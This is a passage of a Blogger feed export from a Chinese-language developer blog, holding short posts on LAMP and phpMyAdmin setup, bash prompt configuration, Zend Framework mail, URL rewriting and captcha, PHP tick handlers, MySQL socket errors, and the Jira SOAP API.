/&gt;&lt;br /&gt;# 從此以後 MySQL 的 root 帳號就需要密碼了！如下所示： &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@www ~]# mysql -u root -p &lt;br /&gt;&lt;br /&gt;Enter password:  &lt;==你必須要在這裡輸入剛剛建立的密碼！ mysql&gt; exit&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;php相關套件&lt;br /&gt;&lt;ul&gt;&lt;li&gt; php-gd&lt;/li&gt;&lt;li&gt; php-mbstring&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;phpMyAdmin&lt;br /&gt;&lt;ol&gt;&lt;li&gt;下載&lt;br /&gt;官方網站：&lt;a href="http://www.phpmyadmin.net/"&gt;http://www.phpmyadmin.net/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;下載並解壓縮並搬移至Web伺服器的文件根目錄&lt;br /&gt;&lt;code&gt;tar xvf phpMyAdmin-x.x.x.gzip /var/www/html/phpmyadmin&lt;/code&gt;&lt;/li&gt;&lt;li&gt;修改設定檔config.inc.php(複製config.ini.sample.php)&lt;br /&gt;&lt;code&gt;/* Authentication type */&lt;br /&gt;$cfg['Servers'][$i]['auth_type'] = 'http';&lt;br /&gt;/* Server parameters */&lt;br /&gt;$cfg['Servers'][$i]['host'] = '10.0.2.59';    //ip&lt;br /&gt;$cfg['Servers'][$i]['connect_type'] = 'tcp';&lt;br /&gt;$cfg['Servers'][$i]['compress'] = false;&lt;br /&gt;$cfg['Servers'][$i]['user'] = 'root';         //帳號&lt;br /&gt;$cfg['Servers'][$i]['password'] = '';         //密碼&lt;br /&gt;/* Select mysqli if your server has it */&lt;br /&gt;$cfg['Servers'][$i]['extension'] = 'mysql';&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;restart apache&lt;/li&gt;&lt;li&gt;打開流覽器&lt;br /&gt;輸入 http://127.0.0.1/phpmyadmin&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/div&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://linux.vbird.org/linux_server/0360apache.php#www_basic_pkg"&gt;LAMP 所需套件與其結構&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.hmes.kh.edu.tw/%7Ejang/phpmyadmin.html"&gt;phpMyAdmin安裝使用手冊&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4342769346474618675?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4342769346474618675/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4342769346474618675' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4342769346474618675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4342769346474618675'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/01/install-lamp.html' title='install lamp'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5488145459566410203</id><published>2011-01-20T17:03:00.005+08:00</published><updated>2011-09-06T15:13:17.993+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>linux 提示設定</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://linux.chinaunix.net/doc/system/2005-02-03/1084.shtml"&gt;[轉].bash_profile和.bashrc的什麼區別&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;/etc/profile&lt;br /&gt;此文件為系統的每個用戶設置環境信息,當用戶第一次登錄時,該文件被執行.並從/etc/profile.d目錄的配置文件中蒐集shell的設置.&lt;/li&gt;&lt;li&gt;/etc/bashrc&lt;br /&gt;為每一個運行bash shell的用戶執行此文件.當bash shell被打開時,該文件被讀取.&lt;/li&gt;&lt;li&gt;~/.bash_profile&lt;br /&gt;每個用戶都可使用該文件輸入專用於自己使用的shell信息,當用戶登錄時,該 文件僅僅執行一次!默認情況下,他設置一些環境變量,執行用戶的.bashrc文件.&lt;/li&gt;&lt;li&gt;~/.bashrc&lt;br /&gt;該文件包含專用於你的bash shell的bash信息,當登錄時以及每次打開新的shell時,該該文件被讀取.&lt;/li&gt;&lt;li&gt;~/.bash_logout&lt;br /&gt;當每次退出系統(退出bash shell)時,執行該文件. &lt;/li&gt;&lt;/ul&gt;另外,/etc/profile中設定的變量(全局)的可以作用於任何用戶,而~/.bashrc等中設定的變量(局部)只能繼承/etc/profile中的變量,他們是"父子"關係.&lt;br /&gt;&lt;br /&gt;~/.bash_profile 是交互式、login 方式進入 bash 運行的&lt;br /&gt;~/.bashrc 是交互式 non-login 方式進入 bash 運行的&lt;br /&gt;通常二者設置大致相同，所以通常前者會調用後者。 &lt;/li&gt;&lt;li&gt;改linux提示字元&lt;br /&gt;檔案：/etc/bashrc&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;放IP位置&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;註解原格式&lt;br /&gt;&lt;span style="color: red;"&gt;#&lt;/span&gt;[ "$PS1" = "\\s-\\v\\\$ " ] &amp;amp;&amp;amp; PS1="[\u@\h \W]\\$ "&lt;/li&gt;&lt;li&gt;抓出ip&lt;br /&gt;ifconfig eth0 | grep "inet addr" | cut -d":" -f2 |cut -d" " -f1&lt;br /&gt;&lt;span style="color: #0b5394;"&gt;IPADDR&lt;/span&gt;="$(ifconfig eth0 | grep "inet addr" | cut -d":" -f2 |cut -d" " -f1)"&lt;/li&gt;&lt;li&gt;改提示格式&lt;br /&gt;[ "$PS1" = "\\s-\\v\\\$ " ] &amp;amp;&amp;amp; PS1="[\u@&lt;span style="color: #0b5394;"&gt;$IPADDR&lt;/span&gt; \w]\\$ "&lt;/li&gt;&lt;li&gt;重新登入&lt;br /&gt;[root@192.168.1.171 ~]#&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;&lt;a href="http://link.idv.tw/linux_system_file/linux_system_file_index.html"&gt;LINUX 改登入後的提示字元的方法&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5488145459566410203?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5488145459566410203/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5488145459566410203' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5488145459566410203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5488145459566410203'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/01/linux.html' title='linux 提示設定'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-3737830979718450985</id><published>2011-01-10T10:09:00.002+08:00</published><updated>2011-01-10T10:11:05.398+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend_Mail</title><content type='html'>用法&lt;br /&gt;&lt;code&gt;$mail = new Zend_Mail();&lt;br /&gt;$mail-&amp;gt;setBodyHtml("Dear xxx: xxx"); //plain text&lt;br /&gt;//$mail-&amp;gt;setBodyHtml("&amp;lt;h1&amp;gt;hi&amp;lt;/h1&amp;gt;");&lt;br /&gt;$mail-&amp;gt;setFrom('support@golfsonomy.com', 'Customer Services');&lt;br /&gt;$mail-&amp;gt;addTo($email);&lt;br /&gt;$mail-&amp;gt;setSubject('Golfsonomy-Customer Service');&lt;br /&gt;$mail-&amp;gt;send();&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FAQ&lt;br /&gt;&lt;ul&gt;&lt;li&gt;email is treated as SPAM&lt;br /&gt;加入Reply就不會被歸為spam&lt;br /&gt;&lt;code&gt;$mail-&amp;gt;setReplyTo('contact@company.com', 'Company');&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http:///"&gt;Zend_Mail sent email is treated as SPAM&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-3737830979718450985?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/3737830979718450985/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=3737830979718450985' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3737830979718450985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3737830979718450985'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/01/zendmail.html' title='Zend_Mail'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4401879781623459042</id><published>2010-12-31T13:37:00.005+08:00</published><updated>2010-12-31T13:43:44.963+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>php process是否持續運作</title><content type='html'>當php在執行大量運算時，由於http的特性&lt;br /&gt;所以要等到完成了，才會一次將結果印出&lt;br /&gt;&lt;br /&gt;在process中，利用tick方式呼叫另一個fucntion&lt;br /&gt;對於browser來說，過程中的輸出值在完成一次出現&lt;br /&gt;不過如果透過程式(client)去連php的話，程式是可持續的接受到php flush的值&lt;br /&gt;&lt;code&gt;&amp;lt;php&lt;br /&gt;&amp;nbsp;$nextWeek = time();&lt;br /&gt;&amp;nbsp;$CheckInterval=5;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;declare(ticks=1);&lt;br /&gt;&amp;nbsp;// A function called on each tick event&lt;br /&gt;function tick_handler()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; if ( (time()-$nextWeek) &amp;gt;&amp;nbsp;&amp;nbsp; $CheckInterval)&lt;br /&gt;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "R"; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $nextWeek = time();&lt;br /&gt;&amp;nbsp; } &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;register_tick_function('tick_handler');&lt;br /&gt;&lt;br /&gt;for($a=0;$a&amp;lt;10000000;$a++)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;&lt;br /&gt;}&lt;br /&gt;unregister_tick_function('tick_handler');&lt;br /&gt;&lt;br /&gt;echo " done ";&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4401879781623459042?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4401879781623459042/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4401879781623459042' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4401879781623459042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4401879781623459042'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/12/php-tick.html' title='php process是否持續運作'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7643201827242949641</id><published>2010-12-28T17:17:00.002+08:00</published><updated>2011-03-13T22:54:13.430+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Firefox 回報"伺服器要將此網址重新導向的要求無法完成"</title><content type='html'>最近發現這個錯誤&lt;br /&gt;&lt;div class="separator"&gt;&lt;a href="http://1.bp.blogspot.com/_tTSUnirsVco/TRmq35sWFmI/AAAAAAAAFRA/-BWtqShrIbk/s1600/redirect.JPG" imageanchor="1" style=""&gt;&lt;img border="0" width="300" src="http://1.bp.blogspot.com/_tTSUnirsVco/TRmq35sWFmI/AAAAAAAAFRA/-BWtqShrIbk/s200/redirect.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;網路上有人提到將cookie清掉即可&lt;br /&gt;我清了結果還是一樣&lt;br /&gt;&lt;br /&gt;後來才發現 原來是程式邏輯上的問題&lt;br /&gt;因為檢查未登入，則轉到另一個網址&lt;br /&gt;不過那個網址也是由相同的程式檢查是否登入&lt;br /&gt;所以又轉向同一個網址，造成deadlock&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7643201827242949641?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7643201827242949641/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7643201827242949641' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7643201827242949641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7643201827242949641'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/12/firefox.html' title='Firefox 回報&quot;伺服器要將此網址重新導向的要求無法完成&quot;'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tTSUnirsVco/TRmq35sWFmI/AAAAAAAAFRA/-BWtqShrIbk/s72-c/redirect.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7343465149126175416</id><published>2010-12-20T16:43:00.002+08:00</published><updated>2011-08-01T17:36:01.866+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock'</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;幾個會引起的問題&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;host位置空白&lt;br /&gt;連mysql時，如果host位置為空&lt;br /&gt;也會出現這個錯誤&lt;/li&gt;&lt;li&gt;硬碟滿了&lt;br /&gt;今天開了aptana在寫程式，網頁似乎沒反應剛寫的東西&lt;br /&gt;說沒有，但偶爾又有東西反應，想說是不是有什麼東西卡住了&lt;br /&gt;重開機後，還是一樣，甚至寫的東西居然都存不起來&lt;br /&gt;存了，但再開會不見，想說從沒遇過這問題&lt;br /&gt;&lt;br /&gt;還在查問題時，發現db掛了&lt;br /&gt;問題是Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock'&lt;br /&gt;上網查了一下... 試了一下&lt;br /&gt;不然依然沒解決, 試了好久，都還是失敗&lt;br /&gt;&lt;br /&gt;一問同事，同事也曾發生過，說是不是硬碟滿了&lt;br /&gt;df一下.. 嗯 還真的是咧.. 硬碟用量100% &lt;br /&gt;因為是用vm... 只切了8gb... &lt;br /&gt;才回想到上午傳了1g多的東西進vm &lt;br /&gt;難怪傳到一半 就一直說寫入失敗&lt;br /&gt;檔案刪一刪後 就ok了... 呼 幸好解決了&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://www.neo.com.tw/archives/92"&gt;發生找不到 mysql.sock 的處理方法!&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7343465149126175416?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7343465149126175416/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7343465149126175416' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7343465149126175416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7343465149126175416'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/12/blog-post.html' title='Can&apos;t connect to local MySQL server through socket &apos;/var/lib/mysql/mysql.sock&apos;'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-9135181481221533303</id><published>2010-12-08T17:48:00.010+08:00</published><updated>2011-01-18T11:20:35.358+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>移除Zend網址中不專業的public路徑</title><content type='html'>由於zend建立的專案，會預設在www.test.com/public下&lt;br /&gt;雖然因檔案歸類問題，需放在這個public資料夾&lt;br /&gt;不過一直覺得很礙眼，但也沒想到辦法去改掉&lt;br /&gt;&lt;br /&gt;這2天那該死的美工johnny又跑來說：「ㄟ~ 那個網址有public有點討厭ㄝ」&lt;br /&gt;可惡~ 觸碰到我的痛處&lt;br /&gt;今天盛怒之下 總算解決~~ 真開心&lt;br /&gt;&lt;br /&gt;原本先查到Rob Allen的做法&lt;br /&gt;要改路徑，還要在所有$this-&amp;gt;baseUrl() 加上public/&lt;br /&gt;改了一堆也還沒成功，就先看有沒有其他做法&lt;br /&gt;很幸運地，看到比較簡單的方法 ~~ ya&lt;br /&gt;只要做以下三件事就完成了 &lt;br /&gt;&lt;ol&gt;&lt;li&gt;Create /etc/httpd/conf.d/zfapp.conf&lt;br /&gt;&lt;code&gt;Alias &lt;span style="color: red;"&gt;/zfapp&lt;/span&gt; /usr/share/zfapp/public&lt;br /&gt;&amp;lt;directory public="" share="" usr="" zfapp=""&amp;gt;&lt;br /&gt;&amp;nbsp; AllowOverride All&lt;br /&gt;&amp;nbsp; Order Deny,Allow&lt;br /&gt;&amp;nbsp; Allow from all&lt;br /&gt;&amp;lt;/directory&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;In /usr/share/zfapp create the structure&lt;br /&gt;&lt;code&gt;-application&lt;br /&gt;&amp;nbsp; bootstrap.php&lt;br /&gt;&amp;nbsp; controllers&lt;br /&gt;&amp;nbsp; views&lt;br /&gt;&amp;nbsp; models&lt;br /&gt;-library&lt;br /&gt;&amp;nbsp; Zend&lt;br /&gt;-public&lt;br /&gt;&amp;nbsp; &lt;span style="color: red;"&gt;.htaccess&lt;/span&gt;&lt;br /&gt;&amp;nbsp; index.php&lt;/code&gt;&lt;/li&gt;&lt;li&gt;htaccess contains:&lt;br /&gt;&lt;code&gt;RewriteEngine On&lt;br /&gt;RewriteBase &lt;span style="color: red;"&gt;/zfapp/&lt;/span&gt;&lt;br /&gt;RewriteRule !\.(js|ico|gif|jpg|png|css)$ index.php&lt;/code&gt; &lt;/li&gt;&lt;/ol&gt;&lt;b&gt;注意事項&lt;/b&gt;&lt;br /&gt;透過url讀取資料的方法，都會自動轉成正確的位置&lt;br /&gt;也就是假設要讀取xx.jpg，位於真實路徑/zfapp/public/下&lt;br /&gt;url為/zfapp/xx.jpg，即為自動轉成/zfapp/public/xx.jpg&lt;br /&gt;但如果是php裡，要file相關函數讀檔的(ex.file_exists())的話&lt;br /&gt;就得要加上public改成/zfapp/public/xx.jpg&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://akrabat.com/zend-framework/zend-framework-on-a-shared-host/"&gt;Zend Framework on a shared host&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://framework.zend.com/wiki/display/ZFDEV/Configuring%2BYour%2BURL%2BRewriter"&gt;Configuring Your URL Rewriter&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-9135181481221533303?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/9135181481221533303/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=9135181481221533303' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9135181481221533303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9135181481221533303'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/12/public.html' title='移除Zend網址中不專業的public路徑'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8312338673991159072</id><published>2010-11-25T00:32:00.006+08:00</published><updated>2010-11-29T09:35:29.140+08:00</updated><title type='text'>Jira Soap API</title><content type='html'>&lt;b&gt;如何close issue&lt;/b&gt;&lt;br /&gt;指令有createIssue,但卻沒有close issue這指令&lt;br /&gt;看了官網提的，應該是用progressWorkflowAction中的參數action將設為close&lt;br /&gt;以下是官網的範例，用ruby寫的&lt;br /&gt;&lt;code&gt;# Close the issue with a resolution of "Fixed".&lt;br /&gt;action = "&lt;span style="color: red;"&gt;2&lt;/span&gt;" &lt;span style="color: #6aa84f;"&gt;# 2 = "Close". Note how this is actually a string, not an integer.&lt;/span&gt;&lt;br /&gt;resolution_type = "1"&lt;span style="color: #6aa84f;"&gt; # 1 = "Fixed". Also a string.&lt;/span&gt;&lt;br /&gt;issue = soap.progressWorkflowAction(token, issue.key, action, [{ :id =&amp;gt; "resolution", :values =&amp;gt; resolution_type }])&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/:http://docs.atlassian.com/rpc-jira-plugin/latest/com/atlassian/jira/rpc/soap/JiraSoapService.html"&gt;Soap API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;http://confluence.atlassian.com/display/JIRA/Remote+API+%28SOAP%29+Examples&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8312338673991159072?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8312338673991159072/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8312338673991159072' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8312338673991159072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8312338673991159072'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/jira-soap-api.html' title='Jira Soap API'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7789606917657180857</id><published>2010-11-17T16:48:00.018+08:00</published><updated>2011-01-20T14:06:13.266+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend Captcha</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;ASCII captcha (最簡單的用法)&lt;br /&gt;ex.&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_tTSUnirsVco/TOOWYuLE-OI/AAAAAAAAFP0/6vdvGGqSn8g/s1600/ascii+captcha.bmp" imageanchor="1" style="border: 1px none; clear: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="134" src="http://2.bp.blogspot.com/_tTSUnirsVco/TOOWYuLE-OI/AAAAAAAAFP0/6vdvGGqSn8g/s320/ascii+captcha.bmp" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;code&gt;$captcha = new Zend_Form_Element_Captcha(   'captcha', array(&lt;br /&gt;&amp;nbsp; 'label'      =&amp;gt; 'Please enter the 5 letters displayed below:',&lt;br /&gt;&amp;nbsp; '&lt;span style="color: red;"&gt;name&lt;/span&gt;'  =&amp;gt; '&lt;span style="color: red;"&gt;captcha&lt;/span&gt;', //回傳post欄位的名稱&lt;br /&gt;&amp;nbsp; 'required'   =&amp;gt; true,&lt;br /&gt;&amp;nbsp; 'captcha'    =&amp;gt; array('captcha' =&amp;gt; 'Figlet', 'wordLen' =&amp;gt; 5, 'timeout' =&amp;gt; 300)&lt;br /&gt;));&lt;br /&gt;echo captcha;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;判斷是否正確&lt;br /&gt;&lt;code&gt;$captcha = $request-&amp;gt;getPost('&lt;span style="color: red;"&gt;captcha&lt;/span&gt;');&lt;br /&gt;$captchaId = $captcha['id'];  &lt;br /&gt;// And here's the user submitted word...  &lt;br /&gt;$captchaInput = $captcha['input'];  &lt;br /&gt;// We are accessing the session with the corresponding namespace  &lt;br /&gt;// Try overwriting this, hah!  &lt;br /&gt;$captchaSession = new Zend_Session_Namespace('Zend_Form_Captcha_'.$captchaId);  &lt;br /&gt;// To access what's inside the session, we need the Iterator  &lt;br /&gt;// So we get one...  &lt;br /&gt;$captchaIterator = $captchaSession-&amp;gt;getIterator();  &lt;br /&gt;// And here's the correct word which is on the image...  &lt;br /&gt;&lt;br /&gt;$captchaWord = $captchaIterator['word'] ; &lt;br /&gt;// Now just compare them...  &lt;br /&gt;if ($captchaInput == $captchaWord)&lt;br /&gt;echo "valid";&lt;br /&gt;else&lt;br /&gt;echo "invalid";&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;圖文表示&lt;br /&gt;ex.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_tTSUnirsVco/TOTcE5WG3SI/AAAAAAAAFP4/8H6Yf1U_rGU/s1600/org+captcha.PNG" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_tTSUnirsVco/TOTcE5WG3SI/AAAAAAAAFP4/8H6Yf1U_rGU/s1600/org+captcha.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;注意事項&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 要給ttf字型檔&lt;/li&gt;&lt;/ul&gt;&lt;code&gt; $this-&amp;gt;view-&amp;gt;captcha = new 